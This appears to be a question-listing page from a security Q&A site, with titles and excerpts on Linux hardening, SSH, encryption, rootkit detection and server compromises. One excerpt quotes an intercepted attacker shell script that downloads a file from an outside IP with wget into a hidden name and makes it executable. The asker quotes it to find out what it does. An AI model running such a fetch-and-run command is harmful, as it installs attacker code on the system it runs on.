Securing Linux systems and applications; understanding Linux security features.

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61
votes
9answers
9k views

Hardening Linux Server

We have already had questions on here about Hardening Apache, Hardening PHP and Securing SSH. To continue this trend I am interested in what steps people take to harden Linux servers. As in what ...
61
votes
3answers
7k views

Is a rand from /dev/urandom secure for a login key?

Lets say I want to cookie for a user, would simply going to /dev/urandom, generating a 1024 bit string, checking if it already exists (and looping till I get a unique one) suffice? Or should I be ...
26
votes
6answers
3k views

Secure Linux Desktop

I'm looking for hints about secure linux desktops. Securing servers is no problem. Most recent Software Updates, run only the services required etc. But what about desktops? I'm thinking about details ...
20
votes
4answers
5k views

What can an attacker do with Bluetooth and how should it be mitigated?

What are the security risks of Bluetooth and what technologies and best practices should be used to protect my device? What can an attacker do once a malicious device is paired with mine? ...
95
votes
8answers
4k views

Attacking an office printer?

I did an nmap scan on an advanced office printer that has a domain name and is accessible from outside the corporate network. Surprisingly I found many open ports like http:80, https:443, and ...
17
votes
3answers
34k views

What is the difference between authorized_key and known_host file for SSH?

I am learning basics of SSH protocol. I am confused between the contents of the following 2 files: ~/.ssh/authorized_keys: Holds a list of authorized public keys for servers. When the client ...
16
votes
8answers
4k views

Any comprehensive solutions for binary code protection and anti-reverse-engineering?

Does anyone know of good products with comprehensive binary hardening and anti-reverse-engineering features? Or better, has anyone seen an independent review comparing products that perform these ...
11
votes
8answers
6k views

How anonymous is my setup?

my friend and I are trying to make the most anonymous setup for a computer to do things across the internet without being known the location from which it came. Our setup is as follows: A windows ...
15
votes
1answer
6k views

Configure SSL Mutual (Two-way) Authentication

A lot of tutorials, a lot of pages, a lot of question and they differ in implementation of this issue "Configure SSL Mutual (Two-way) Authentication". I have to do it with Linux, and I don't know from ...
6
votes
2answers
372 views

What features do you look for in an Enterprise Log Management solution?

This question is for IT Pros, and people who manage a company's infrastructure. Developers should see this related answer for tools geared for them. What are your requirements for such a Event Log ...
5
votes
4answers
5k views

Monitoring system calls (in a reliable and secure way)

It there a reliable method of “monitoring” system calls under Linux? There is strace for example to monitor system calls and signals. Is there a way for a process to dodge out of strace? If yes, is ...
18
votes
0answers
589 views

Where can I find a vulnerable operating system to practice pentests on? [duplicate]

I am looking for vulnerable operating systems that are used for practicing pentests. Damn Vulnerable Linux (DVL) is not maintained anymore. Are there any other simillar OS´s to download somewhere that ...
21
votes
4answers
8k views

How do you know your server has been compromised?

I recently helped a client who had their server hacked. The hackers added some PHP code into the header of the homepage redirecting the user to a porn website — but only if they came from Google. This ...
12
votes
5answers
6k views

Linux command logging?

Recently someone broke into one of our linux servers as a non root user. An excerpt from .bash_history: [...] perl perl set +o history set +o history set +o history passwd sdfsdf passwd exit I ...
4
votes
7answers
2k views

Server compromised for 2nd time, cannot locate source of attack

I need some help tracing a vulnerability on my server. For the second time, my server has been compromised with files being replaced with virus-ridden downloads. According to the filesystem dates, ...
21
votes
3answers
14k views

Simple example auditd configuration?

Auditd was recommended in an answer to Linux command logging? The default install on Ubuntu seems to barely log anything. There are several examples that come with it (capp.rules, nispom.rules, ...
10
votes
2answers
2k views

Security Concerns with X11 Forwarding

What are some of the security concerns and reasons either for or against allowing X11 Forwarding. I have generally taken an approach of not allowing it under the blanket guise of security. Recently, ...
5
votes
8answers
3k views

Linux or Windows- the security issue [duplicate]

Possible Duplicate: Open Source vs Closed Source Systems Almost anyone who has grown up on Windows must have had the notion (that I had) of Linux being more secure than Windows- one of ...
7
votes
5answers
2k views

How can I remotely wipe the contents of a Linux Laptop if its been stolen?

I am currently investigating using Linux Laptops for my development team. We currently run Windows. The one advantage that keeps coming up for Windows over Linux from a system administration / ...
6
votes
3answers
470 views

Appropriate defense for 404s in my logs - persistent web scans from one region

This seems to be a fairly easy question to figure out, but I wanted to make sure. I've got about a thousand entries on one of my web servers with phpmyadmin in the connection criterion, but as I ...
8
votes
4answers
3k views

How to disable Firewire in OpenBSD/Linux to prevent attacks through Firewire?

Since Firewire lacks security, allowing a plugged-in device to access host memory, it's a good thing to fully disable it. If we're not using the BIOS to disable the Firewire port then how could we do ...
1
vote
4answers
9k views

Netcat IP Spoofing

I am connecting to a server nc -v 192.168.0.1 1111 But I want to do IP spoofing because the server on 192.168.0.1 only accepting commands from 7.7.7.7. We are two friends, I am 192.168.1.1, and my ...
0
votes
2answers
965 views

Is user password in ubuntu 13.04 in plain text?

Is it stored in plain text or not? Where can I find the file that contains the username and password for my accounts in Ubuntu 13.04?
-2
votes
1answer
482 views

Cascading Encryption Algorithm using mcrypt or GnuGP

I'm trying to a cascading cipher encryption algorithm to encrypt a textfile via mcrypt. I'm essentially trying to emulate the behavior of TrueCrypt, where it can cascade two or three different cipher ...
25
votes
6answers
4k views

Keeping secrets from root on Linux

I am looking for ways to harden a linux system so that even when gaining full root access (through legit or non-legit means), some secrets remain inaccessible. But first a little background. Many of ...
13
votes
3answers
1k views

VPS security best practice

I've just signed up for a linux VPS to host a website I've been creating and I need some advice on the best approach to secure it. I've previously been hosting it off a VM in the house, but I want to ...
32
votes
4answers
3k views

Should I change the default SSH port on linux servers?

Is there any advantage in changing the SSH port, I've seen people do that, but I can't seem to find the reason why. If you have a strong password and/or a certificate, is it useful for anything? ...
12
votes
2answers
4k views

Available Resources for Securing RHEL 6

Some in our infrastructure group want to upgrade to start taking advantage of the new features in RHEL 6. In the past, I have relied on the NSA Guide to secure RHEL 5 and CentOS 5 installations. I ...
5
votes
2answers
4k views

How to secure a dedicated linux server running a LAMP stack for commercial E-commerce use

To be more specific, I would like to get some help, either through a tutorial or through a book, on how to configure an apache server to run securely and minimize the risks for commercial use. ...
10
votes
1answer
1k views

Effects of DDoS attacks on memory use under Linux

Can someone whose Linux system is under DDoS attacks give me exact data on the effects of the Low Orbit Ion Cannon (LOIC), the High Orbit Ion Cannon (HOIC), Slowloris, PyLoris, Hping etc. on memory ...
6
votes
7answers
4k views

Physical computer security, how to disable USB ports when the computer is 'locked'?

Lets say my PC & server is in an environment where a theoretical attacker has physical access to the machine while I'm not there. Now the data is encrypted on the hard drive with TrueCrypt. ...
10
votes
3answers
720 views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
6
votes
2answers
2k views

Using TPM with DMcrypt?

Is it possible to use TPM for storage of some private key? It's not a full-disk encryption , I want it to be compatible with existing LUKS, just add another key, and store it in the TPM.
7
votes
4answers
3k views

What do I need to configure, to make sure my software uses /dev/urandom?

When setting up a server, what configuration changes do I need to make sure that all of the software uses /dev/urandom instead of /dev/random? Some servers don't have much entropy in the entropy pool ...
5
votes
3answers
2k views

How to detect Meterpreter and similar malware?

Is it possible to find Meterpreter or similar malware which doesn't modify the hard disk but is only stored in RAM? Most common anti-rootkit software like rkhunter and chkrootkit don't find it.
9
votes
2answers
1k views

environment variable accessibility in Linux

Perhaps this is a trivial question, but how accessible are environment variables in Linux between different users? e.g. if Alice executes export FAVORITE_FOOD=`cat /home/alice/fav_food.txt` Can ...
8
votes
1answer
1k views

Securing restricted shell environments

I've read a few things to indicate that restricted shells can be broken out of if not implemented properly (even wikipedia, for instance). I'm looking for some guidance on what causes security holes ...
8
votes
4answers
394 views

Best practices for physically securing a notebook

If the user knows that other people will repeatedly have physical access to her notebook - running Linux - while she is absent, and that there is no way around this, what are best practices for ...
8
votes
3answers
1k views

How to manually check for rootkits on a server

Does anyone have a general step by step list on how to try discover rootkits on a Linux or Solaris server? I'm looking for to to manually find the rootkit, not by automated software. For example: ...
8
votes
3answers
3k views

Is CentOS a good choice from a security perspective?

How secure is the CentOS Linux distribution? I noticed there were times when there were no up-to-date patches for some version of CentOS (e.g., 5.6). I read this on some mailing list that I can't ...
6
votes
6answers
1k views

Using linux to combat windows flash drive malware?

I just put an old flash drive which i used with a windows machine into my linux. I noticed many files, mostly exes which were never visible in windows (my windows does not hide hidden files and ...
4
votes
2answers
2k views

Need advice on linux server being hacked

I'm currently trying to find out how one of our centos servers was compromised. We were experiencing malware on our sites. After searching I finally found the malware injecting into the sites. As it ...
4
votes
3answers
862 views

Wrapping system call (in reliable and secure way)

It there reliable method of "wrapping" system calls under Linux ? (Like LD_PRELOAD for wrapping shared library function calls.) Is there reliable, secure method of "wrapping" system calls (and, maybe ...
2
votes
2answers
629 views

What are the implications of including binary blobs in the Linux kernel?

According to this there are compelling reasons for caution when installing obfuscated binaries. Knowing this, how can running binary blobs as a part of the Linux kernel be acceptable from a security ...
1
vote
1answer
158 views

Evil maids in the server room [closed]

I am well aware of the fact that physical insecurity in principle means no security. But let´s say I own a root server with full disk encryption which is unlocked/booted via dropbear ssh. In which ...
14
votes
7answers
799 views

Defence Against Keyboard Keylogger

I am wondering whether there is a way to defend against USB Keyboard Keylogger (obviously other than physically checking the keyboard every time after leaving my computer unattended). These days, ...
8
votes
2answers
487 views

Is a rand from glibc's rand secure for a login key?

Same question as Is a rand from /dev/urandom secure for a login key, but with glibc's rand function instead of /dev/urandom. And what would be a sufficiently secure seed generator?
6
votes
1answer
2k views

Using TPM for full disc encryption?

E.g.: Can I make a better full disc encryption with e.g.: LUKS using the TPM? How?
5
votes
2answers
3k views

Pitfalls of SSD encryption

Encrypting an SSD is a process that is sometimes warned should be done with caution. E.g. http://en.gentoo-wiki.com/wiki/DM-Crypt_with_LUKS mentions how the SSD may keep hidden space used for wear ...
5
votes
2answers
745 views

How can I use nmap to distinguish between a normal linux machine and an android device?

According to this link: here, nmap 5.2 onwards is now supposed to detect android smartphones. I am using nmap 6.01 but it only identifies android devices as running a linux kernel.